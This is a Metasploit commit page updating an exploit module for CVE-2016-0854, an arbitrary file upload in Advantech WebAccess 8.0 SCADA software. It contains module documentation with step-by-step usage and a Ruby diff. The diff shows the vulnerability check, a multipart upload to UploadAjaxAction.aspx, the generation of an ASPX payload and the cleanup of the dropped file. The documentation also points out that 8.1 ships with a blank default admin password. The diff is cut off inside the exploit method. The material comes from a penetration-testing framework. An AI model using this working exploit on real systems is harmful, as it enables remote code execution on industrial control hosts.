Fix #6872, change upload action for CVE-2016-0854 exploit

This patch includes the following changes:

* Instead of the uploadFile action, this patch uses uploadImageCommon
  to be able to support both Advantech WebAccess builds: 2014 and
  2015.
* It uses an explicit check instead of the passive version check.
* It cleans up the malicious file after getting a session.
* Added module documentation to explain the differences between
  different builds of Advantech WebAccess 8.0s, and 8.1.

Fix #6872
bug/bundler_fix
wchen-r7 2016-05-13 19:47:18 -05:00
parent 13adc3ee0a
commit 3b5db26ff5
2 changed files with 76 additions and 15 deletions

View File

@ -0,0 +1,36 @@
Advantech WebAccess is a web-based software package for human-machine interfaces and supervisory
control and data acquisition (SCADA). WebAccess 8.0 suffers from a vulnerability that allows an
attacker to upload a malicious file onto the web server, and gain arbitrary code execution under
the context of IIS APPPOOL\WADashboard_pool.
## Vulnerable Application
All builds of Advantech WebAccess 8.0 are affected:
* [WebAccess 8.0 _20150816](http://advcloudfiles.advantech.com/web/Download/webaccess/8.0/AdvantechWebAccessUSANode8.0_20150816.exe)
* [WebAccess 8.0 _20141103](http://advcloudfiles.advantech.com/web/Download/webaccess/8.0/AdvantechWebAccessUSANode8.0_20141103_3.4.3.exe)
For exploitation, there is a difference between the two versions. The 2014 version of WebAccess 8.0
had two upload actions in the UploadAjaxAction class: uploadBannerImage, and uploadImageCommon. The
2015 version of WebAccess 8.0 added another upload action: uploadFile. This exploit uses the
uploadImageCommon action because it works for both.
Advantech WebAccess 8.1 mitigated the vulnerability by enforcing authentication for
UploadAjaxAction. However, keep in mind that WebAccess 8.1 comes with a default credential of
user name "admin" with a blank password, which means the user is likely still at risk by using the
default configuration.
advantech_webaccess_dashboard_file_upload will not attempt to exploit WebAccess 8.1.
## Verification Steps
1. Start a Windows machine (such as Windows 7 SP1).
2. To install Advantech WebAccess, make sure to install the Internet Information Services Windows
feature.
3. Download WebAccess 8.0, and install it. After installation, make sure the web application is
operational by accessing with a browser (on port 80).
4. Start msfconsole
5. Do: ```use exploit/windows/scada/advantech_webaccess_dashboard_file_upload```
6. Do: ```set RHOST [TARGET_IP]```
7. Set other options if needed
8. Do: ```exploit```, and you should get a session.

View File

@ -9,10 +9,11 @@ class MetasploitModule < Msf::Exploit::Remote
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
def initialize(info = {})
super(update_info(info,
'Name' => "Advantech WebAccess Dashboard Viewer Arbitrary File Upload",
'Name' => "Advantech WebAccess Dashboard Viewer uploadImageCommon Arbitrary File Upload",
'Description' => %q{
This module exploits an arbitrary file upload vulnerability found in Advantech WebAccess 8.0.
@ -27,7 +28,8 @@ class MetasploitModule < Msf::Exploit::Remote
'License' => MSF_LICENSE,
'Author' => [
'rgod', # Vulnerability discovery
'Zhou Yu <504137480[at]qq.com>' # MSF module
'Zhou Yu <504137480[at]qq.com>', # MSF module
'sinn3r' # Explicit check && better support of 8.0 (2014 and 2015)
],
'References' => [
[ 'CVE', '2016-0854' ],
@ -49,35 +51,45 @@ class MetasploitModule < Msf::Exploit::Remote
], self.class)
end
def version_match(data)
# Software Build : 8.0-2015.08.15
fingerprint = data.match(/Software\sBuild\s:\s(?<version>\d{1,2}\.\d{1,2})-(?<year>\d{4})\.(?<month>\d{1,2})\.(?<day>\d{1,2})/)
fingerprint['version'] unless fingerprint.nil?
def print_status(msg='')
super("#{peer} - #{msg}")
end
def vuln_version?
res = send_request_cgi!(
'method' => 'GET',
'uri' => target_uri.to_s
uri = normalize_uri(target_uri, 'WADashboard', 'ajax', 'UploadAjaxAction.aspx')
data = Rex::MIME::Message.new
# If we can access the uploadImageCommon action name, that indicates the server is vulnerable
# to our attack. The "patched" version requires authentication, so we don't have access to
# the action name.
data.add_part('uploadImageCommon', nil, nil, 'form-data; name="actionName"')
res = send_request_cgi(
'method' => 'POST',
'uri' => uri,
'cookie' => "waUserName=admin",
'ctype' => "multipart/form-data; boundary=#{data.bound}",
'data' => data.to_s
)
ver = res && res.body ? version_match(res.body) : nil
true ? Gem::Version.new(ver) == Gem::Version.new('8.0') : false
res = res.get_json_document
res['resStatus'] && res['resStatus'] == '1' ? true : false
end
def check
if vuln_version?
Exploit::CheckCode::Appears
Exploit::CheckCode::Vulnerable
else
Exploit::CheckCode::Safe
end
end
def upload_file?(filename, file)
print_status("Uploading: #{filename}")
uri = normalize_uri(target_uri, 'WADashboard', 'ajax', 'UploadAjaxAction.aspx')
data = Rex::MIME::Message.new
data.add_part('uploadFile', nil, nil, 'form-data; name="actionName"')
data.add_part('uploadImageCommon', nil, nil, 'form-data; name="actionName"')
data.add_part(file, nil, nil, "form-data; name=\"file\"; filename=\"#{filename}\"")
res = send_request_cgi(
@ -87,7 +99,19 @@ class MetasploitModule < Msf::Exploit::Remote
'ctype' => "multipart/form-data; boundary=#{data.bound}",
'data' => data.to_s
)
true ? res && res.code == 200 && res.body.include?("{\"resStatus\":\"0\",\"resString\":\"\/#{filename}\"}") : false
if res.get_json_document.empty?
false
else
# Only register when we know the upload was successful.
#
# When we get a session, we start at:
# c:\windows\system32\inetsrv
# But our malicious file is at C:\Inetpub\wwwroot\broadweb\WADashboard
register_file_for_cleanup("../../../Inetpub/wwwroot/broadweb/WADashboard/#{filename}")
true
end
end
def exec_file?(filename)
@ -108,9 +132,10 @@ class MetasploitModule < Msf::Exploit::Remote
def exploit
unless vuln_version?
print_status("#{peer} - Cannot reliably check exploitability.")
print_status('Target is not vulnerable.')
return
end
filename = "#{Rex::Text.rand_text_alpha(5)}.aspx"
filedata = Msf::Util::EXE.to_exe_aspx(generate_payload_exe)